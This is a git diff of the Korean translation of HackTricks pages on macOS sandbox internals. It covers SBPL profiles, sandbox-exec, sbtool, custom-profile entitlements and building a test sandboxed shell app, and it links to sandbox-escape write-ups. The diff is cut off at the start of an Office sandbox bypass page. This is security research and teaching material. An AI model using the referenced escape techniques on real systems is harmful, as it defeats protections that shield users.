프로세스가 할 수 있는 것과 할 수 없는 것을 제어하기 위해 **샌드박스는 커널 전역의 모든** **syscalls**에 후크를 가지고 있습니다. **앱의 권한에 따라** 샌드박스는 특정 작업을 **허용**합니다.
|
||||||
|
|
||||||
샌드박스의 몇 가지 중요한 구성 요소는 다음과 같습니다:
|
샌드박스의 몇 가지 중요한 구성 요소는 다음과 같습니다:
|
||||||
|
|
||||||
* **커널 확장** `/System/Library/Extensions/Sandbox.kext`
|
* **커널 확장** `/System/Library/Extensions/Sandbox.kext`
|
||||||
* **개인 프레임워크** `/System/Library/PrivateFrameworks/AppSandbox.framework`
|
* **프라이빗 프레임워크** `/System/Library/PrivateFrameworks/AppSandbox.framework`
|
||||||
* 사용자 영역에서 실행되는 **데몬** `/usr/libexec/sandboxd`
|
* 사용자 공간에서 실행되는 **데몬** `/usr/libexec/sandboxd`
|
||||||
* **컨테이너** `~/Library/Containers`
|
* **컨테이너** `~/Library/Containers`
|
||||||
|
|
||||||
컨테이너 폴더 내에서는 **번들 ID의 이름으로 샌드박스에서 실행되는 각 앱의 폴더**를 찾을 수 있습니다:
|
컨테이너 폴더 내에는 **샌드박스에서 실행되는 각 앱에 대한 폴더**가 번들 ID 이름으로 있습니다:
|
||||||
```bash
|
```bash
|
||||||
ls -l ~/Library/Containers
|
ls -l ~/Library/Containers
|
||||||
total 0
|
total 0
|
||||||
|
@ -40,7 +41,7 @@ drwx------@ 4 username staff 128 Mar 25 14:14 com.apple.Accessibility-Settings
|
||||||
drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler
|
drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
각 번들 ID 폴더 안에는 앱의 **plist**와 **데이터 디렉토리**가 있습니다:
|
각 번들 ID 폴더 안에는 앱의 **plist**와 **데이터 디렉토리**를 찾을 수 있습니다:
|
||||||
```bash
|
```bash
|
||||||
cd /Users/username/Library/Containers/com.apple.Safari
|
cd /Users/username/Library/Containers/com.apple.Safari
|
||||||
ls -la
|
ls -la
|
||||||
|
@ -64,7 +65,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 SystemData
|
||||||
drwx------ 2 username staff 64 Mar 24 18:02 tmp
|
drwx------ 2 username staff 64 Mar 24 18:02 tmp
|
||||||
```
|
```
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
주의하세요. 심볼릭 링크가 존재하여 샌드박스를 "탈출"하고 다른 폴더에 접근할 수 있더라도, 앱은 여전히 해당 폴더에 접근할 **권한**이 있어야 합니다. 이러한 권한은 **`.plist`** 파일 내에 있습니다.
|
주의: 심볼릭 링크가 Sandbox에서 "탈출"하여 다른 폴더에 접근하기 위해 존재하더라도, 앱은 여전히 **접근할 수 있는 권한**이 필요합니다. 이러한 권한은 **`.plist`** 안에 있습니다.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
```bash
|
```bash
|
||||||
# Get permissions
|
# Get permissions
|
||||||
|
@ -114,14 +115,14 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
모든 샌드박스 애플리케이션에서 생성/수정된 모든 것은 **격리 속성**을 가집니다. 이는 샌드박스 앱이 **`open`**을 사용하여 무언가를 실행하려고 할 때 게이트키퍼를 트리거하여 샌드박스 공간을 방지합니다.
|
Sandboxed 애플리케이션에 의해 생성/수정된 모든 항목은 **격리 속성**을 갖게 됩니다. 이는 샌드박스 앱이 **`open`**으로 무언가를 실행하려고 할 때 Gatekeeper를 트리거하여 샌드박스 공간을 방지합니다.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### 샌드박스 프로필
|
### 샌드박스 프로필
|
||||||
|
|
||||||
샌드박스 프로필은 해당 **샌드박스**에서 허용/금지되는 내용을 나타내는 구성 파일입니다. 이는 **샌드박스 프로필 언어 (SBPL)**를 사용하며, [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)) 프로그래밍 언어를 사용합니다.
|
샌드박스 프로필은 해당 **샌드박스**에서 **허용/금지**될 항목을 나타내는 구성 파일입니다. 이는 [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)) 프로그래밍 언어를 사용하는 **샌드박스 프로필 언어(SBPL)**를 사용합니다.
|
||||||
|
|
||||||
여기에 예제를 찾을 수 있습니다:
|
여기 예시를 찾을 수 있습니다:
|
||||||
```scheme
|
```scheme
|
||||||
(version 1) ; First you get the version
|
(version 1) ; First you get the version
|
||||||
|
|
||||||
|
@ -140,50 +141,28 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
|
||||||
)
|
)
|
||||||
```
|
```
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
더 많은 허용 또는 거부될 수 있는 작업을 확인하려면 [**이 연구**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/)를 확인하세요.
|
이 [**연구**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **를 확인하여 허용되거나 거부될 수 있는 추가 작업을 확인하세요.**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
중요한 **시스템 서비스**들도 자체적인 **사용자 정의 샌드박스** 내에서 실행됩니다. 예를 들어 `mdnsresponder` 서비스가 있습니다. 이러한 사용자 정의 **샌드박스 프로필**은 다음 경로에서 확인할 수 있습니다:
|
중요한 **시스템 서비스**는 `mdnsresponder` 서비스와 같은 자체 맞춤 **샌드박스** 내에서 실행됩니다. 이러한 맞춤 **샌드박스 프로필**은 다음 위치에서 확인할 수 있습니다:
|
||||||
|
|
||||||
* **`/usr/share/sandbox`**
|
* **`/usr/share/sandbox`**
|
||||||
* **`/System/Library/Sandbox/Profiles`**
|
* **`/System/Library/Sandbox/Profiles`** 
|
||||||
* 다른 샌드박스 프로필은 [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles)에서 확인할 수 있습니다.
|
* 다른 샌드박스 프로필은 [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles)에서 확인할 수 있습니다.
|
||||||
|
|
||||||
**앱 스토어** 앱은 **프로필** **`/System/Library/Sandbox/Profiles/application.sb`**를 사용합니다. 이 프로필에서 **`com.apple.security.network.server`**와 같은 권한을 확인할 수 있습니다. 이 권한은 프로세스가 네트워크를 사용할 수 있도록 허용합니다.
|
**App Store** 앱은 **프로필** **`/System/Library/Sandbox/Profiles/application.sb`**를 사용합니다. 이 프로필에서 **`com.apple.security.network.server`**와 같은 권한이 프로세스가 네트워크를 사용할 수 있도록 허용하는 방법을 확인할 수 있습니다.
|
||||||
|
|
||||||
SIP는 /System/Library/Sandbox/rootless.conf에 있는 platform\_profile이라는 샌드박스 프로필입니다.
|
SIP는 /System/Library/Sandbox/rootless.conf에 있는 platform\_profile이라는 샌드박스 프로필입니다.
|
||||||
|
|
||||||
### 샌드박스 프로필 예제
|
### 샌드박스 프로필 예시
|
||||||
|
|
||||||
특정 샌드박스 프로필로 애플리케이션을 시작하려면 다음을 사용할 수 있습니다:
|
특정 샌드박스 프로필로 애플리케이션을 시작하려면 다음을 사용할 수 있습니다:
|
||||||
```bash
|
```bash
|
||||||
sandbox-exec -f example.sb /Path/To/The/Application
|
sandbox-exec -f example.sb /Path/To/The/Application
|
||||||
```
|
```
|
||||||
|
{% tabs %}
|
||||||
|
{% tab title="touch" %}
|
||||||
{% code title="touch.sb" %}
|
{% code title="touch.sb" %}
|
||||||
|
|
||||||
```plaintext
|
|
||||||
(version 1)
|
|
||||||
(deny default)
|
|
||||||
(import "sandbox.sb")
|
|
||||||
|
|
||||||
;; Allow read access to the file
|
|
||||||
(allow file-read-metadata (literal "/path/to/file"))
|
|
||||||
|
|
||||||
;; Allow write access to the file
|
|
||||||
(allow file-write-data (literal "/path/to/file"))
|
|
||||||
|
|
||||||
;; Allow network access
|
|
||||||
(allow network-outbound)
|
|
||||||
|
|
||||||
;; Allow executing touch command
|
|
||||||
(allow process-exec (literal "/usr/bin/touch"))
|
|
||||||
```
|
|
||||||
|
|
||||||
{% endcode %}
|
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="ls" %}
|
|
||||||
{% code title="ls.sb" %}
|
|
||||||
```scheme
|
```scheme
|
||||||
(version 1)
|
(version 1)
|
||||||
(deny default)
|
(deny default)
|
||||||
|
@ -203,15 +182,6 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
{% code title="touch2.sb" %}
|
{% code title="touch2.sb" %}
|
||||||
|
|
||||||
```plaintext
|
|
||||||
;; Allow touch to write to files in the user's home directory
|
|
||||||
(version 1)
|
|
||||||
(deny default)
|
|
||||||
(allow file-write* (subpath "/Users/" (home-subpath)))
|
|
||||||
```
|
|
||||||
|
|
||||||
이 스크립트는 사용자의 홈 디렉토리에 있는 파일에 touch가 쓰도록 허용합니다.
|
|
||||||
```scheme
|
```scheme
|
||||||
(version 1)
|
(version 1)
|
||||||
(deny default)
|
(deny default)
|
||||||
|
@ -225,6 +195,8 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
|
||||||
; 2023-05-26 13:44:59.840050+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) sysctl-read kern.bootargs
|
; 2023-05-26 13:44:59.840050+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) sysctl-read kern.bootargs
|
||||||
; 2023-05-26 13:44:59.840061+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) file-read-data /
|
; 2023-05-26 13:44:59.840061+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) file-read-data /
|
||||||
```
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
{% code title="touch3.sb" %}
|
{% code title="touch3.sb" %}
|
||||||
```scheme
|
```scheme
|
||||||
(version 1)
|
(version 1)
|
||||||
|
@ -239,29 +211,29 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
|
||||||
{% endtabs %}
|
{% endtabs %}
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
**Windows에서 실행되는 Apple이 작성한 소프트웨어는 추가적인 보안 조치** (예: 응용 프로그램 샌드박싱)를 가지고 있지 않습니다.
|
**Apple이 작성한** **소프트웨어**는 **Windows**에서 **추가적인 보안 조치**가 없으며, 애플리케이션 샌드박싱과 같은 기능이 없습니다.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
우회 예시:
|
우회 예시:
|
||||||
|
|
||||||
* [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html)
|
* [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html)
|
||||||
* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (샌드박스 외부에 `~$`로 시작하는 파일을 작성할 수 있습니다).
|
* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (그들은 `~$`로 시작하는 이름의 파일을 샌드박스 외부에 쓸 수 있습니다).
|
||||||
|
|
||||||
### MacOS 샌드박스 프로필
|
### MacOS 샌드박스 프로파일
|
||||||
|
|
||||||
macOS는 시스템 샌드박스 프로필을 **/usr/share/sandbox/** 및 **/System/Library/Sandbox/Profiles** 두 위치에 저장합니다.
|
macOS는 시스템 샌드박스 프로파일을 두 위치에 저장합니다: **/usr/share/sandbox/** 및 **/System/Library/Sandbox/Profiles**.
|
||||||
|
|
||||||
또한 타사 응용 프로그램이 _**com.apple.security.app-sandbox**_ 권한을 가지고 있다면, 시스템은 해당 프로세스에 **/System/Library/Sandbox/Profiles/application.sb** 프로필을 적용합니다.
|
그리고 서드파티 애플리케이션이 _**com.apple.security.app-sandbox**_ 권한을 가지고 있다면, 시스템은 해당 프로세스에 **/System/Library/Sandbox/Profiles/application.sb** 프로파일을 적용합니다.
|
||||||
|
|
||||||
### **iOS 샌드박스 프로필**
|
### **iOS 샌드박스 프로파일**
|
||||||
|
|
||||||
기본 프로필은 **container**이며 SBPL 텍스트 표현이 없습니다. 메모리에서 이 샌드박스는 샌드박스의 각 권한에 대해 허용/거부 이진 트리로 표시됩니다.
|
기본 프로파일은 **container**라고 하며, SBPL 텍스트 표현이 없습니다. 메모리에서 이 샌드박스는 샌드박스의 각 권한에 대해 허용/거부 이진 트리로 표현됩니다.
|
||||||
|
|
||||||
### 샌드박스 디버그 및 우회
|
### 디버그 및 샌드박스 우회
|
||||||
|
|
||||||
macOS에서는 iOS와 달리 프로세스가 커널에 의해 시작될 때부터 샌드박스에 의해 샌드박스화되지 않으며, **프로세스는 스스로 샌드박스에 참여하기로 결정할 때까지 제한되지 않습니다**.
|
macOS에서는 iOS와 달리 프로세스가 커널에 의해 처음부터 샌드박스에 격리되지 않으며, **프로세스가 스스로 샌드박스에 참여해야 합니다**. 이는 macOS에서 프로세스가 적극적으로 샌드박스에 들어가기로 결정할 때까지 샌드박스에 의해 제한되지 않음을 의미합니다.
|
||||||
|
|
||||||
프로세스는 `com.apple.security.app-sandbox` 권한이 있으면 시작할 때 사용자 공간에서 자동으로 샌드박스화됩니다. 이 프로세스에 대한 자세한 설명은 다음을 참조하십시오:
|
프로세스는 `com.apple.security.app-sandbox` 권한이 있을 경우 사용자 공간에서 시작할 때 자동으로 샌드박스화됩니다. 이 프로세스에 대한 자세한 설명은 다음을 확인하십시오:
|
||||||
|
|
||||||
{% content-ref url="macos-sandbox-debug-and-bypass/" %}
|
{% content-ref url="macos-sandbox-debug-and-bypass/" %}
|
||||||
[macos-sandbox-debug-and-bypass](macos-sandbox-debug-and-bypass/)
|
[macos-sandbox-debug-and-bypass](macos-sandbox-debug-and-bypass/)
|
||||||
|
@ -269,18 +241,18 @@ macOS에서는 iOS와 달리 프로세스가 커널에 의해 시작될 때부
|
||||||
|
|
||||||
### **PID 권한 확인**
|
### **PID 권한 확인**
|
||||||
|
|
||||||
[**이에 따르면**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), **`sandbox_check`** (이것은 `__mac_syscall`입니다)는 특정 PID에서 샌드박스에 의해 허용되는지 여부를 확인할 수 있습니다.
|
[**이것에 따르면**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), **`sandbox_check`** (이는 `__mac_syscall`입니다)는 특정 PID에 대해 **작업이 허용되는지 여부**를 확인할 수 있습니다.
|
||||||
|
|
||||||
[**도구 sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c)은 PID가 특정 작업을 수행할 수 있는지 확인할 수 있습니다.
|
[**도구 sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c)은 PID가 특정 작업을 수행할 수 있는지 확인할 수 있습니다:
|
||||||
```bash
|
```bash
|
||||||
sbtool <pid> mach #Check mac-ports (got from launchd with an api)
|
sbtool <pid> mach #Check mac-ports (got from launchd with an api)
|
||||||
sbtool <pid> file /tmp #Check file access
|
sbtool <pid> file /tmp #Check file access
|
||||||
sbtool <pid> inspect #Gives you an explaination of the sandbox profile
|
sbtool <pid> inspect #Gives you an explaination of the sandbox profile
|
||||||
sbtool <pid> all
|
sbtool <pid> all
|
||||||
```
|
```
|
||||||
### App Store 앱에서 사용자 정의 SBPL
|
### Custom SBPL in App Store apps
|
||||||
|
|
||||||
회사들은 앱을 기본적인 것이 아닌 **사용자 정의 Sandbox 프로필**로 실행할 수 있습니다. 이를 위해 Apple의 승인이 필요한 **`com.apple.security.temporary-exception.sbpl`** 권한을 사용해야 합니다.
|
회사가 **사용자 정의 샌드박스 프로필**로 앱을 실행할 수 있을 가능성이 있습니다 (기본 프로필 대신). 그들은 Apple에 의해 승인되어야 하는 권한 **`com.apple.security.temporary-exception.sbpl`**을 사용해야 합니다.
|
||||||
|
|
||||||
이 권한의 정의는 **`/System/Library/Sandbox/Profiles/application.sb:`**에서 확인할 수 있습니다.
|
이 권한의 정의는 **`/System/Library/Sandbox/Profiles/application.sb:`**에서 확인할 수 있습니다.
|
||||||
```scheme
|
```scheme
|
||||||
|
@ -290,18 +262,19 @@ sbtool <pid> all
|
||||||
(let* ((port (open-input-string string)) (sbpl (read port)))
|
(let* ((port (open-input-string string)) (sbpl (read port)))
|
||||||
(with-transparent-redirection (eval sbpl)))))
|
(with-transparent-redirection (eval sbpl)))))
|
||||||
```
|
```
|
||||||
이것은 **이 entitlement 이후의 문자열을 Sandbox 프로필로 평가**합니다.
|
이 권한 이후의 문자열은 Sandbox 프로필로 **eval**됩니다.
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 저장소에 제출**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,22 +1,23 @@
|
||||||
# macOS Default Sandbox Debug
|
# macOS 기본 샌드박스 디버그
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
이 페이지에서는 기본 macOS 샌드박스 내에서 임의의 명령을 실행하는 앱을 만드는 방법을 찾을 수 있습니다:
|
이 페이지에서는 기본 macOS 샌드박스 내에서 임의의 명령을 실행하는 앱을 만드는 방법을 찾을 수 있습니다:
|
||||||
|
|
||||||
1. 애플리케이션을 컴파일하세요:
|
1. 애플리케이션 컴파일하기:
|
||||||
|
|
||||||
{% code title="main.m" %}
|
{% code title="main.m" %}
|
||||||
```objectivec
|
```objectivec
|
||||||
|
@ -50,10 +51,9 @@ return 0;
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
다음 명령을 실행하여 컴파일합니다: `clang -framework Foundation -o SandboxedShellApp main.m`
|
컴파일 실행: `clang -framework Foundation -o SandboxedShellApp main.m`
|
||||||
|
|
||||||
2. `.app` 번들을 빌드합니다.
|
|
||||||
|
|
||||||
|
2. `.app` 번들 빌드
|
||||||
```bash
|
```bash
|
||||||
mkdir -p SandboxedShellApp.app/Contents/MacOS
|
mkdir -p SandboxedShellApp.app/Contents/MacOS
|
||||||
mv SandboxedShellApp SandboxedShellApp.app/Contents/MacOS/
|
mv SandboxedShellApp SandboxedShellApp.app/Contents/MacOS/
|
||||||
|
@ -75,11 +75,10 @@ cat << EOF > SandboxedShellApp.app/Contents/Info.plist
|
||||||
</plist>
|
</plist>
|
||||||
EOF
|
EOF
|
||||||
```
|
```
|
||||||
|
3. 권한 정의
|
||||||
3. 권한 부여 정의하기
|
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="undefined" %}
|
{% tab title="sandbox" %}
|
||||||
```bash
|
```bash
|
||||||
cat << EOF > entitlements.plist
|
cat << EOF > entitlements.plist
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
@ -112,8 +111,7 @@ EOF
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
{% endtabs %}
|
{% endtabs %}
|
||||||
|
|
||||||
4. 앱에 서명하세요 (키체인에서 인증서를 생성해야 합니다)
|
4. 앱에 서명하기 (키체인에서 인증서를 생성해야 함)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.app
|
codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.app
|
||||||
./SandboxedShellApp.app/Contents/MacOS/SandboxedShellApp
|
./SandboxedShellApp.app/Contents/MacOS/SandboxedShellApp
|
||||||
|
@ -121,17 +119,17 @@ codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.a
|
||||||
# An d in case you need this in the future
|
# An d in case you need this in the future
|
||||||
codesign --remove-signature SandboxedShellApp.app
|
codesign --remove-signature SandboxedShellApp.app
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 AWS 해킹을 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,74 +1,78 @@
|
||||||
# macOS Office Sandbox Bypasses
|
# macOS Office Sandbox Bypasses
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>제로부터 히어로까지 AWS 해킹 배우기</strong>를 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
|
|
||||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
